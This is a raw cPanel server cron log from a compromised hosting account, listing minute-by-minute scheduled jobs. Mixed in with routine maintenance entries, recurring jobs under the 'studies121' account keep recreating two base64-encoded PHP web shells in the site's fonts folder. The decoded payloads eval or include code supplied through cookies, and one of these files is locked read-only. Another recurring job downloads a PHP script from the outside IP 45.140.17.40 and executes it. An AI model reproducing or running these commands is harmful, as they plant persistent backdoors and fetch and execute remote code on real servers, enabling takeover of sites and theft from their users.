Sep 11 08:21:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:21:02 ip-184-168-122-23 CROND[31260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:21:02 ip-184-168-122-23 CROND[31261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:21:02 ip-184-168-122-23 CROND[31264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:22:01 ip-184-168-122-23 CROND[31383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:22:02 ip-184-168-122-23 CROND[31387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:22:02 ip-184-168-122-23 CROND[31385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:22:02 ip-184-168-122-23 CROND[31386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:22:02 ip-184-168-122-23 CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:23:01 ip-184-168-122-23 CROND[31470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:23:01 ip-184-168-122-23 CROND[31472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:23:01 ip-184-168-122-23 CROND[31471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:23:01 ip-184-168-122-23 CROND[31473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:24:01 ip-184-168-122-23 CROND[31574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:24:01 ip-184-168-122-23 CROND[31576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:24:01 ip-184-168-122-23 CROND[31577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:24:01 ip-184-168-122-23 CROND[31578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:24:01 ip-184-168-122-23 CROND[31579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:25:01 ip-184-168-122-23 CROND[31750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:25:01 ip-184-168-122-23 CROND[31752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:25:01 ip-184-168-122-23 CROND[31754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:25:01 ip-184-168-122-23 CROND[31756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:25:01 ip-184-168-122-23 CROND[31757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:25:01 ip-184-168-122-23 CROND[31759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:25:01 ip-184-168-122-23 CROND[31755]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 08:26:01 ip-184-168-122-23 CROND[31854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:26:01 ip-184-168-122-23 CROND[31857]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 11 08:26:01 ip-184-168-122-23 CROND[31858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:26:01 ip-184-168-122-23 CROND[31856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:26:01 ip-184-168-122-23 CROND[31862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:26:01 ip-184-168-122-23 CROND[31866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 11 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 11 08:27:01 ip-184-168-122-23 CROND[32030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:27:01 ip-184-168-122-23 CROND[32032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:27:01 ip-184-168-122-23 CROND[32031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:27:01 ip-184-168-122-23 CROND[32033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:28:01 ip-184-168-122-23 CROND[32115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:28:01 ip-184-168-122-23 CROND[32118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:28:01 ip-184-168-122-23 CROND[32117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:28:01 ip-184-168-122-23 CROND[32119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:28:01 ip-184-168-122-23 CROND[32120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:29:01 ip-184-168-122-23 CROND[32233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:29:01 ip-184-168-122-23 CROND[32234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:29:01 ip-184-168-122-23 CROND[32236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:29:01 ip-184-168-122-23 CROND[32237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:30:01 ip-184-168-122-23 CROND[32409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:30:01 ip-184-168-122-23 CROND[32412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32414]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:30:01 ip-184-168-122-23 CROND[32420]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:31:01 ip-184-168-122-23 CROND[32533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:31:01 ip-184-168-122-23 CROND[32535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:31:01 ip-184-168-122-23 CROND[32537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:31:01 ip-184-168-122-23 CROND[32538]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:31:01 ip-184-168-122-23 CROND[32542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:32:01 ip-184-168-122-23 CROND[32645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:32:01 ip-184-168-122-23 CROND[32647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:32:01 ip-184-168-122-23 CROND[32650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:32:01 ip-184-168-122-23 CROND[32648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:32:01 ip-184-168-122-23 CROND[32649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
